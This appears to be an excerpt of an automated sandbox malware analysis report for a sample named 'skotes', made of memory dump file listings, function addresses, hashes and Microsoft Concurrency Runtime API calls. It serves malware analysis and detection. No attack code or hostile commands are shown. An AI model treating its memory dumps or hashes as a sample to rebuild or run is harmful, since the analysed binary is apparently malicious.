Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 9531fcdcb6b65580ec67af5569df2de8c5de86817819c268295ad5998fd7559f
Instruction ID: 371e56bbaf1fe685a82353e79f6e26f864e8a0b7f8a1de39ff48b4aa3cb2d768
Opcode Fuzzy Hash: 9531fcdcb6b65580ec67af5569df2de8c5de86817819c268295ad5998fd7559f
Instruction Fuzzy Hash: E8B17FB0A01615EFDB28CF58D980B7AB7B5FF89304F14866DE905AB641D338ED81CB94

Function 007A1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 007A2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 007A2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 007A1614

Part of subcall function 007A2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 007A2E39
Part of subcall function 007A2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 007A2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 007A1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 007A17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 007A17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 007A17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 007A180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 007A181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 007A1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 007A183B

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: c853a1e94f47dd981b7945d769441c66857e07ee2ab483787123c3af67214b9c
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: 37817871E002259FCB08CFA8C584A6DB7F6FF89304F1586ADE445AB702DB34AD52CB80

Function 007AEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007AEC81

Part of subcall function 007A8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 007A8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 007AECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 007AECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 007AED0C

Part of subcall function 007AE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 007AE7D7
Part of subcall function 007AE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 007AE86F
Part of subcall function 007AE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 007AE879
Part of subcall function 007AE7AF: Concurrency::location::_Assign.LIBCMT ref: 007AE8AD
Part of subcall function 007AE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 007AE8B5

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 537443d8a4d19eb2e72d36c853d1ae1304ba8621087a32b5bd7bfe44c3a4ff70
Instruction ID: f4153978ef90b5e883ba26f1e04e172897687438527517401e5a2c10930b3ae2
Opcode Fuzzy Hash: 537443d8a4d19eb2e72d36c853d1ae1304ba8621087a32b5bd7bfe44c3a4ff70
Instruction Fuzzy Hash: 3F51A531A01205EFCF24DF60C899BADB775EF85310F158169E9067B396CB78AE05CBA1

Function 0079CB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 0079CBAA

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: abd4a547c94ff981b129a32ee52978f4679d5981bc153406a3618fe538043846
Instruction ID: 781ee6303d977e359de3a83f93a5c632e0651c186dc7cb6e1d62c096602ecc0c
Opcode Fuzzy Hash: abd4a547c94ff981b129a32ee52978f4679d5981bc153406a3618fe538043846
Instruction Fuzzy Hash: 8AB09232A1383447CE522B14BC4869D7768AA84F1130A9156D801AB2248A192E824BDC

Function 0079DD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 041bb8124cb9a17c88949b6dbf1b1a2c98a462071e852060c5941a3a15defa69
Instruction ID: 39d684943e75435760fb68d69cafd24efd3b16b873fc6d921cb31f8006e1af20
Opcode Fuzzy Hash: 041bb8124cb9a17c88949b6dbf1b1a2c98a462071e852060c5941a3a15defa69
Instruction Fuzzy Hash: 4B518CB2E026068BDB25CF58E8C57AABBF1FB58304F24C56AD405EB251D378AE40CF54

Function 0079F028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0079F2BB

Strings

pEvents, xrefs: 0079F2B3

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
